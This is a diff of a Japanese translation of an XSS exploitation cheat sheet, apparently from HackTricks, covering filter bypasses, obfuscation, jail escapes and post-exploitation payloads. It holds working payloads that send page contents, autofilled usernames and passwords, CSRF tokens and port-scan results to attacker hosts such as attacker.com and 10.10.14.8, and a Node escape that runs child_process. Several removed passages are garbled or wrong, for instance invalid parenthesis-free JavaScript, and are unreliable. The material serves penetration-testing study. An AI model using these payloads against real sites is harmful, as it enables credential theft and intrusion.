-もし`<>`がサニタイズされている場合でも、入力が**配置されている場所**で文字列を**エスケープ**し、任意のJSを**実行**することができます。JSの構文を**修正する**ことが重要です。なぜなら、エラーがある場合、JSコードは実行されないからです。 +`<>`がサニタイズされている場合でも、入力が**配置されている**文字列から**エスケープ**し、**任意のJSを実行**することができます。JSの構文を**修正する**ことが重要です。なぜなら、エラーがある場合、JSコードは実行されません: ``` '-alert(document.domain)-' ';alert(document.domain)// @@ -567,10 +483,10 @@ Android: %09 %20 %28 %2C %3B ``` ### テンプレートリテラル \`\` -JSでは、シングルクォートやダブルクォート以外にも、**バックティック** **` `` `** を使用して**文字列**を構築することができます。これはテンプレートリテラルとして知られており、`${ ... }` 構文を使用して**埋め込まれたJS式**を実行することができます。\ -したがって、バックティックを使用しているJS文字列内に入力が**反映**されている場合、`${ ... }` 構文を悪用して**任意のJSコード**を実行することができます。 +**文字列**を構築するために、JSはシングルクォートとダブルクォートの他に**バックティック** **` `` `** も受け入れます。これはテンプレートリテラルとして知られており、`${ ... }` 構文を使用して**JS式を埋め込む**ことができます。\ +したがって、入力がバックティックを使用するJS文字列内で**反映されている**ことがわかった場合、`${ ... }` 構文を悪用して**任意のJSコード**を実行することができます: -これは以下のように悪用されることがあります: +これは以下を使用して**悪用**できます: ```javascript `${alert(1)}` `${`${`${`${alert(1)}`}`}`}` @@ -581,62 +497,20 @@ JSでは、シングルクォートやダブルクォート以外にも、**バ function loop(){return loop} loop`````````````` ``````````````` -### エンコードされたコードの実行 - -In some cases, web applications may encode user input before displaying it on the page. This can be done to prevent cross-site scripting (XSS) attacks by converting special characters into their HTML entities. However, if the application does not properly decode the input before executing it, it may still be vulnerable to code execution. - -いくつかの場合、Webアプリケーションは、ページに表示する前にユーザーの入力をエンコードすることがあります。これは、特殊文字をHTMLエンティティに変換することで、クロスサイトスクリプティング(XSS)攻撃を防ぐために行われることがあります。しかし、アプリケーションが入力を適切にデコードせずに実行する場合、コードの実行に対して脆弱性が残る可能性があります。 - -To exploit this vulnerability, an attacker can inject encoded malicious code that will be executed by the application. The code will be decoded by the application, but the resulting payload will still be executed. This can lead to various consequences, such as data leakage, privilege escalation, or even remote code execution. - -この脆弱性を悪用するために、攻撃者はエンコードされた悪意のあるコードを注入することができます。コードはアプリケーションによってデコードされますが、その結果のペイロードは依然として実行されます。これにより、データの漏洩、特権のエスカレーション、さらにはリモートコードの実行など、さまざまな結果が生じる可能性があります。 - -To identify if a web application is vulnerable to encoded code execution, you can try injecting encoded payloads and observe the application's behavior. If the injected code is executed or produces unexpected output, it indicates a potential vulnerability. - -エンコードされたコードの実行に対して脆弱性があるかどうかを特定するためには、エンコードされたペイロードを注入してアプリケーションの動作を観察することができます。注入されたコードが実行されるか、予期しない出力が生成される場合、潜在的な脆弱性があることを示しています。 - -It is important for developers to properly decode user input before executing it to prevent this type of vulnerability. Additionally, web application security testing and code reviews can help identify and mitigate such issues. - -この種の脆弱性を防ぐために、開発者はユーザーの入力を適切にデコードしてから実行することが重要です。さらに、Webアプリケーションのセキュリティテストとコードレビューによって、このような問題を特定し、軽減することができます。 +### エンコードされたコード実行 ```markup ``` -**コメント内のJavaScript** - -Sometimes, developers may forget to properly sanitize user-generated content before displaying it as a comment on a website. This can lead to a Cross-Site Scripting (XSS) vulnerability. By injecting malicious JavaScript code into a comment, an attacker can execute arbitrary code on the victim's browser. - -以下のような場合、開発者はウェブサイト上のコメントとして表示する前に、ユーザーが生成したコンテンツを適切にサニタイズするのを忘れることがあります。これにより、クロスサイトスクリプティング(XSS)の脆弱性が発生する可能性があります。攻撃者は、コメントに悪意のあるJavaScriptコードを注入することで、被害者のブラウザ上で任意のコードを実行することができます。 +**コメント内のJavascript** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send @@ -815,42 +589,6 @@ Sometimes, developers may forget to properly sanitize user-generated content bef //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` **括弧なしのJavaScript** - -```html -

When writing JavaScript code, it is common to use parentheses to group expressions and control the order of operations. However, there are situations where you can write JavaScript code without using parentheses.

- -

One such situation is when calling a function with no arguments. In this case, you can omit the parentheses after the function name. For example:

- -```javascript -// With parentheses -console.log("Hello World"); - -// Without parentheses -console.log "Hello World"; -``` - -

Another situation where you can omit parentheses is when using the `new` keyword to create an object. Normally, you would write `new Object()` to create a new object, but you can also write `new Object` without the parentheses.

- -

It's important to note that while omitting parentheses can make your code more concise, it can also make it less readable and harder to understand. Therefore, it's generally recommended to use parentheses for clarity and consistency.

-``` - -```html -

JavaScriptのコードを書く際には、式をグループ化し、演算の順序を制御するために括弧を使用することが一般的です。しかし、括弧を使用せずにJavaScriptのコードを書くこともあります。

- -

そのような状況の一つは、引数のない関数を呼び出す場合です。この場合、関数名の後の括弧を省略することができます。例えば:

- -```javascript -// 括弧あり -console.log("Hello World"); - -// 括弧なし -console.log "Hello World"; -``` - -

オブジェクトを作成するために`new`キーワードを使用する場合も、括弧を省略することができます。通常、新しいオブジェクトを作成するためには`new Object()`と書きますが、括弧を省略して`new Object`と書くこともできます。

- -

括弧を省略することでコードが簡潔になる一方で、可読性が低下し理解しにくくなる可能性もあることに注意してください。そのため、一般的には明確さと一貫性のために括弧を使用することが推奨されています。

-``` ````javascript // By setting location window.location='javascript:alert\x281\x29' @@ -988,46 +726,48 @@ top['al\x65rt'](1) top[8680439..toString(30)](1) ```` -## **DOMの脆弱性** +## **DOM 脆弱性** -攻撃者が制御する**安全でないデータ**(例:`location.href`)を使用している**JSコード**があります。攻撃者はこれを悪意のあるJSコードを実行するために悪用することができます。\ -**DOMの脆弱性の説明が長くなったため、[このページに移動しました](dom-xss.md)**: +攻撃者が制御するデータを安全でない方法で使用している **JS コード** があります。例えば `location.href` です。攻撃者はこれを悪用して任意の JS コードを実行する可能性があります。\ +**DOM 脆弱性の説明が広範囲にわたるため、**[**このページに移動しました**](dom-xss.md)**:** {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} -そこでは、DOMの脆弱性が何であり、どのように引き起こされ、どのように悪用されるかについての詳細な説明が見つかります。\ -また、[**DOM Clobbering攻撃についての説明**](dom-xss.md#dom-clobbering)も、前述の投稿の最後に見つけることができます。 +ここでは、**DOM 脆弱性が何であるか、どのように引き起こされるか、そしてどのように悪用されるか**についての詳細な説明があります。\ +また、**該当する投稿の最後には**、[**DOM Clobbering 攻撃**](dom-xss.md#dom-clobbering)についての説明があることを忘れないでください。 -## その他のバイパス方法 +## その他のバイパス -### 正規化されたUnicode +### 正規化されたユニコード -サーバー(またはクライアント側)で**反映された値**が**Unicode正規化**されているかどうかをチェックし、この機能を悪用して保護をバイパスすることができます。[**ここで例を見つけることができます**](../unicode-injection/#xss-cross-site-scripting)。 +サーバー(またはクライアント側)で**反映された値**が**ユニコード正規化**されているかどうかを確認し、この機能を悪用して保護をバイパスすることができます。[**ここで例を見つけてください**](../unicode-injection/#xss-cross-site-scripting)。 -### PHP FILTER\_VALIDATE\_EMAILフラグのバイパス +### PHP FILTER\_VALIDATE\_EMAIL フラグのバイパス ```javascript ">"@x.y ``` ### Ruby-On-Rails バイパス -**RoRのマスアサインメント**により、引用符がHTMLに挿入され、引用符の制限がバイパスされ、タグ内に追加のフィールド(onfocus)が追加されることがあります。\ -例えば、以下のペイロードを送信すると([このレポート](https://hackerone.com/reports/709336)から)、 +**RoR mass assignment** のため、クォートがHTMLに挿入され、その後クォートの制限がバイパスされ、追加のフィールド(onfocus)がタグ内に追加できます。\ +例として([このレポートから](https://hackerone.com/reports/709336))、以下のペイロードを送信する場合: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` -以下のように、"Key"と"Value"のペアがエコーバックされます: +``` +キー "Key" と値 "Value" は次のようにエコーされます: +``` ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` -次に、onfocus属性が挿入されます: +以下の属性が挿入されます: ![](<../../.gitbook/assets/image (107).png>) XSSが発生します。 -### 特殊な組み合わせ +### 特別な組み合わせ ```markup @@ -1177,21 +915,21 @@ import { partition } from "lodash"; ``` -### 特別な置換パターン +### 特殊置換パターン -**`"some {{template}} data".replace("{{template}}", )`** のようなものが使用される場合、攻撃者は[**特別な文字列の置換**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement)を使用していくつかの保護をバイパスしようとすることができます:``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))`` +**`"some {{template}} data".replace("{{template}}", )`** のようなものが使用される場合、攻撃者は[**特殊な文字列の置換**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement)を利用して保護を回避しようとするかもしれません: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))`` -例えば、[**この解説**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)では、これを使用してスクリプト内のJSON文字列をエスケープし、任意のコードを実行しました。 +例えば、[**このライトアップ**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)では、スクリプト内のJSON文字列を**エスケープして**任意のコードを実行するためにこれが使用されました。 -### ChromeキャッシュからXSSへ +### ChromeキャッシュからのXSS {% content-ref url="chrome-cache-to-xss.md" %} [chrome-cache-to-xss.md](chrome-cache-to-xss.md) {% endcontent-ref %} -### XS Jailsの脱出 +### XSジェイル脱出 -使用できる文字のセットが制限されている場合、XSJailの問題に対する他の有効な解決策を確認してください。 +使用できる文字が限られている場合は、XSJailの問題に対する他の有効な解決策を確認してください: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() @@ -1222,22 +960,22 @@ constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` -もし実行される前にすべてが未定義である場合([**この解説記事**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)のように)、任意の信頼できないコードの実行を悪用するために「何もない」から有用なオブジェクトを生成することが可能です: +**すべてが未定義**である場合、信頼できないコードを実行する前に([**このライトアップ**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)のように)、"何もないところから"有用なオブジェクトを生成して、任意の信頼できないコードの実行を悪用することが可能です: -* import()を使用すること +* import() を使用して ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8"))) ``` -* 間接的に `require` にアクセスする +* `require`を間接的にアクセスする -[こちらによると](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050)、モジュールはNode.jsによって以下のように関数でラップされます: +[これによると](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050)、モジュールはNode.jsによって次のように関数でラップされます。 ```javascript (function (exports, require, module, __filename, __dirname) { // our actual module code }); ``` -したがって、そのモジュールから**別の関数を呼び出す**ことができる場合、その関数から`arguments.callee.caller.arguments[1]`を使用して**`require`**にアクセスすることが可能です: +したがって、そのモジュールから**別の関数を呼び出す**ことができれば、その関数から`arguments.callee.caller.arguments[1]`を使用して**`require`**にアクセスすることが可能です。 {% code overflow="wrap" %} ```javascript @@ -1245,7 +983,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8"))) ``` {% endcode %} -前の例と同様に、エラーハンドラを使用してモジュールのラッパーにアクセスし、`require`関数を取得することができます。 +前の例と同様に、**エラーハンドラーを使用して**モジュールの**ラッパー**にアクセスし、**`require`** 関数を取得することが可能です: ```javascript try { null.f() @@ -1282,15 +1020,15 @@ console.log(req('child_process').execSync('id').toString()) } trigger() ``` -### オブフスケーションと高度なバイパス +### 難読化 & 高度なバイパス -* **1つのページで異なるオブフスケーション:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) +* **ページ内の異なる難読化:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) * [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) * [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) * [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) * [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) * [http://www.jsfuck.com/](http://www.jsfuck.com) -* より高度なJSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) +* より洗練されたJSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) * [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) * [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) * [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) @@ -1306,37 +1044,20 @@ trigger() ```javascript //JSFuck - + +``` ```javascript //aaencode -# XSS (クロスサイトスクリプティング) - -## 概要 -XSS(クロスサイトスクリプティング)は、ウェブアプリケーションのセキュリティ脆弱性の一つであり、攻撃者が悪意のあるスクリプトを注入することによって、ユーザーのブラウザ上で実行される可能性があります。この攻撃は、ユーザーが信頼しているウェブサイト上で実行されるため、重大なセキュリティリスクとなります。 - -## 攻撃手法 -XSS攻撃は、以下のような手法で実行されることがあります。 - -1. スクリプトタグの注入: 攻撃者は、ウェブアプリケーションの入力フィールドにスクリプトタグを挿入することで、悪意のあるスクリプトを実行します。 -2. イベントハンドラの悪用: 攻撃者は、イベントハンドラ属性を使用して、ユーザーの操作に応じて悪意のあるスクリプトを実行します。 -3. ユーザー入力の不正なエスケープ: ウェブアプリケーションがユーザー入力を適切にエスケープしない場合、攻撃者はスクリプトを注入することができます。 - -## 対策方法 -XSS攻撃からウェブアプリケーションを保護するためには、以下の対策を実施することが重要です。 - -1. 入力検証とエスケープ処理: ウェブアプリケーションは、ユーザー入力を適切に検証し、エスケープ処理を行う必要があります。 -2. セキュリティヘッダの設定: ウェブアプリケーションは、適切なセキュリティヘッダを設定することで、XSS攻撃を防ぐことができます。 -3. クリックジャッキング対策: クリックジャッキング攻撃を防ぐために、ウェブアプリケーションは適切なフレーム制御を実施する必要があります。 - -以上がXSS攻撃についての概要と対策方法です。ウェブアプリケーションのセキュリティを確保するためには、XSS攻撃に対する意識と対策が重要です。 +゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_'); +``` ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` -## XSS一般的なペイロード +## XSS 一般的なペイロード -### 複数のペイロード +### 複数のペイロードを1つに {% content-ref url="steal-info-js.md" %} [steal-info-js.md](steal-info-js.md) @@ -1365,10 +1086,10 @@ XSS攻撃からウェブアプリケーションを保護するためには、 ``` {% hint style="info" %} -JavaScriptからクッキーにアクセスすることはできませんが、クッキーにHTTPOnlyフラグが設定されている場合は。しかし、[幸運な場合には、この保護をバイパスする方法](../hacking-with-cookies/#httponly)があります。 +HTTPOnlyフラグがクッキーに設定されている場合、**JavaScriptからクッキーにアクセスすることはできません**。しかし、運が良ければこの保護をバイパスする[いくつかの方法](../hacking-with-cookies/#httponly)があります。 {% endhint %} -### ページのコンテンツを盗む +### ページ内容の盗み取り ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"; var attacker = "http://10.10.14.8/exfil"; @@ -1382,36 +1103,6 @@ xhr.open('GET', url, true); xhr.send(null); ``` ### 内部IPを見つける - -To find internal IP addresses, you can use various techniques during a penetration test. These techniques involve exploiting vulnerabilities or misconfigurations in web applications to gather information about the internal network. - -以下の手法を使用して、内部IPアドレスを見つけることができます。これらの手法は、ウェブアプリケーションの脆弱性や設定ミスを悪用して、内部ネットワークに関する情報を収集するものです。 - -#### 1. DNS Rebinding - -DNS rebinding is a technique that allows an attacker to bypass the same-origin policy enforced by web browsers. By exploiting this technique, an attacker can make a victim's browser send requests to internal IP addresses and retrieve the responses. - -DNSリバインディングは、ウェブブラウザによって強制される同一オリジンポリシーをバイパスするための技術です。この技術を悪用することで、攻撃者は被害者のブラウザに内部IPアドレスへのリクエストを送信させ、レスポンスを取得することができます。 - -#### 2. Server-Side Request Forgery (SSRF) - -Server-Side Request Forgery (SSRF) is a vulnerability that allows an attacker to make requests from the server to arbitrary destinations, including internal IP addresses. By exploiting SSRF vulnerabilities, an attacker can force the server to reveal internal IP addresses. - -サーバーサイドリクエストフォージェリ(SSRF)は、攻撃者がサーバーから内部IPアドレスを含む任意の宛先にリクエストを送信できる脆弱性です。SSRFの脆弱性を悪用することで、攻撃者はサーバーに内部IPアドレスを明らかにさせることができます。 - -#### 3. Cross-Site Scripting (XSS) - -Cross-Site Scripting (XSS) vulnerabilities can also be used to find internal IP addresses. By injecting malicious scripts into web pages, an attacker can execute code in the victim's browser and retrieve information, including internal IP addresses. - -クロスサイトスクリプティング(XSS)の脆弱性も内部IPアドレスを見つけるために使用することができます。攻撃者は悪意のあるスクリプトをウェブページに挿入することで、被害者のブラウザでコードを実行し、内部IPアドレスを含む情報を取得することができます。 - -#### 4. Information Disclosure - -Sometimes, web applications may inadvertently disclose internal IP addresses in error messages, server headers, or other response fields. By carefully analyzing the application's responses, an attacker may be able to identify internal IP addresses. - -時には、ウェブアプリケーションが誤ったメッセージ、サーバーヘッダー、または他のレスポンスフィールドで内部IPアドレスを誤って開示することがあります。アプリケーションのレスポンスを注意深く分析することで、攻撃者は内部IPアドレスを特定することができるかもしれません。 - -It is important to note that these techniques should only be used in controlled environments with proper authorization. Unauthorized use of these techniques can lead to legal consequences. ```html ``` -### ポートスキャナー(fetch) - -The `fetch` function is a built-in JavaScript function that allows you to make HTTP requests to a specified URL. It can be used to perform a basic port scan by sending requests to different ports and checking for a response. - -To use the `fetch` function for port scanning, you can create a loop that iterates through a range of port numbers. Inside the loop, you can use the `fetch` function to send a request to each port and check if a response is received. If a response is received, it means that the port is open. - -Here is an example of how you can use the `fetch` function for port scanning: - -```javascript -async function portScan(url, startPort, endPort) { - for (let port = startPort; port <= endPort; port++) { - try { - const response = await fetch(`${url}:${port}`); - if (response.ok) { - console.log(`Port ${port} is open`); - } - } catch (error) { - console.log(`Port ${port} is closed`); - } - } -} - -const targetUrl = 'http://example.com'; -const startPort = 1; -const endPort = 100; - -portScan(targetUrl, startPort, endPort); -``` - -In the example above, the `portScan` function takes three parameters: the target URL, the starting port number, and the ending port number. It uses the `fetch` function to send requests to each port in the specified range and logs whether the port is open or closed. - -Keep in mind that port scanning can be considered illegal or unethical without proper authorization. Always ensure that you have the necessary permissions before performing any port scanning activities. +### ポートスキャナー (fetch) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` -### ポートスキャナー(ウェブソケット) - -The port scanner is a tool used to identify open ports on a target system. It works by sending a series of requests to different ports and analyzing the responses received. This can be useful for identifying potential entry points for an attacker. - -To use the port scanner, you need to specify the target IP address and the range of ports to scan. The tool will then attempt to establish a connection with each port in the specified range. If a connection is successful, it means that the port is open and potentially vulnerable to attacks. - -It is important to note that port scanning can be considered a hostile activity and may be illegal or against the terms of service of certain networks or systems. Always ensure that you have proper authorization before conducting any port scanning activities. - -To run the port scanner, use the following command: - -``` -python port_scanner.py -t -p -``` - -Replace `` with the IP address of the target system and `` with the range of ports you want to scan (e.g., 1-1000). - -The port scanner supports websockets, which allows it to scan ports that are specifically used for websocket communication. This can be useful for identifying potential vulnerabilities in websocket-based applications. - -Note: The port scanner is a powerful tool that can be used for both legitimate and malicious purposes. Always ensure that you have proper authorization and use it responsibly. +### ポートスキャナー (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` -### パスワードの自動入力のキャプチャ - -Auto-fill passwords capture is a technique used to exploit cross-site scripting (XSS) vulnerabilities in web applications. When a user visits a website that is vulnerable to XSS, an attacker can inject malicious code into the website's input fields, such as login forms or search bars. - -自動入力のパスワードのキャプチャは、ウェブアプリケーションのクロスサイトスクリプティング(XSS)の脆弱性を悪用するための技術です。ユーザーがXSSの脆弱性を持つウェブサイトを訪れると、攻撃者はログインフォームや検索バーなどのウェブサイトの入力フィールドに悪意のあるコードを挿入することができます。 - -When the user interacts with these input fields, their web browser's auto-fill feature may automatically populate the fields with saved passwords. The injected code can capture these passwords and send them to the attacker's server, allowing them to gain unauthorized access to the user's accounts. - -ユーザーがこれらの入力フィールドと対話すると、ウェブブラウザの自動入力機能が保存されたパスワードでフィールドを自動的に入力する場合があります。挿入されたコードはこれらのパスワードをキャプチャし、それらを攻撃者のサーバーに送信することができます。これにより、攻撃者はユーザーのアカウントに不正アクセスすることができます。 - -To prevent auto-fill passwords capture, web developers should implement proper input validation and output encoding to mitigate XSS vulnerabilities. Users should also be cautious when visiting unfamiliar websites and regularly update their web browsers to ensure they have the latest security patches. - -自動入力のパスワードのキャプチャを防ぐために、ウェブ開発者は適切な入力検証と出力エンコーディングを実装してXSSの脆弱性を軽減する必要があります。ユーザーはまた、見慣れないウェブサイトを訪れる際には注意が必要であり、定期的にウェブブラウザを更新して最新のセキュリティパッチを適用する必要があります。 +### 自動入力パスワードのキャプチャ ```javascript Username:
@@ -1556,18 +1186,18 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -パスワードフィールドにデータが入力されると、ユーザー名とパスワードが攻撃者のサーバーに送信されます。クライアントが保存されたパスワードを選択して何も入力しない場合でも、資格情報は外部に漏洩します。 +パスワードフィールドに任意のデータが入力されると、ユーザー名とパスワードが攻撃者のサーバーに送信されます。クライアントが保存されたパスワードを選択して何も書かなくても、資格情報は外部に漏れます。 ### キーロガー -GitHubで検索すると、いくつかの異なるものが見つかります: +GitHubで検索すると、いくつか異なるものが見つかりました: * [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) * [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) * [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) -* metasploitの`http_javascript_keylogger`も使用できます。 +* Metasploitの`http_javascript_keylogger`も使用できます -### CSRFトークンの盗み取り +### CSRFトークンの盗難 ```javascript ``` -### PostMessageメッセージの盗み出し - -PostMessageメッセージの盗み出しは、クロスサイトスクリプティング(XSS)の一種です。この攻撃では、攻撃者は悪意のあるスクリプトを使用して、PostMessageを介して送信されるメッセージを盗み出します。 - -攻撃者は、悪意のあるウェブサイトを作成し、そのウェブサイト内に悪意のあるスクリプトを埋め込みます。このスクリプトは、PostMessageを使用して他のウェブサイトにメッセージを送信します。 - -攻撃者は、PostMessageを使用して送信されるメッセージを盗み出すために、以下の手法を使用することがあります。 - -1. イベントリスナーの乗っ取り:攻撃者は、悪意のあるスクリプトを使用して、他のウェブサイトのPostMessageイベントリスナーを乗っ取ります。これにより、攻撃者は送信されるメッセージを読み取ることができます。 - -2. メッセージの傍受:攻撃者は、悪意のあるスクリプトを使用して、PostMessageを傍受し、送信されるメッセージを読み取ります。これにより、攻撃者はメッセージの内容を把握することができます。 - -この攻撃を防ぐためには、以下の対策を講じることが重要です。 - -- クロスオリジンポリシーの実装:ウェブサイトは、クロスオリジンポリシーを適切に実装する必要があります。これにより、他のドメインからの不正なアクセスを制限することができます。 - -- サニタイズされたデータの使用:ウェブサイトは、送信されるメッセージをサニタイズする必要があります。これにより、悪意のあるスクリプトの実行を防ぐことができます。 - -- セキュリティ意識の向上:ウェブサイトの開発者は、セキュリティに関する最新の情報を把握し、セキュリティ意識を高める必要があります。これにより、攻撃者の新たな手法に対応することができます。 - -以上が、PostMessageメッセージの盗み出しに関する情報です。ウェブサイトのセキュリティを向上させるために、これらの情報を参考にしてください。 +### PostMessageメッセージの盗み取り ```markup ``` -### Service Workersの悪用 +### サービスワーカーの悪用 {% content-ref url="abusing-service-workers.md" %} [abusing-service-workers.md](abusing-service-workers.md) @@ -1628,7 +1238,7 @@ document.getElementById("message").src += "&"+e.data; ### Blind XSSペイロード -[https://xsshunter.com/](https://xsshunter.com)も使用できます。 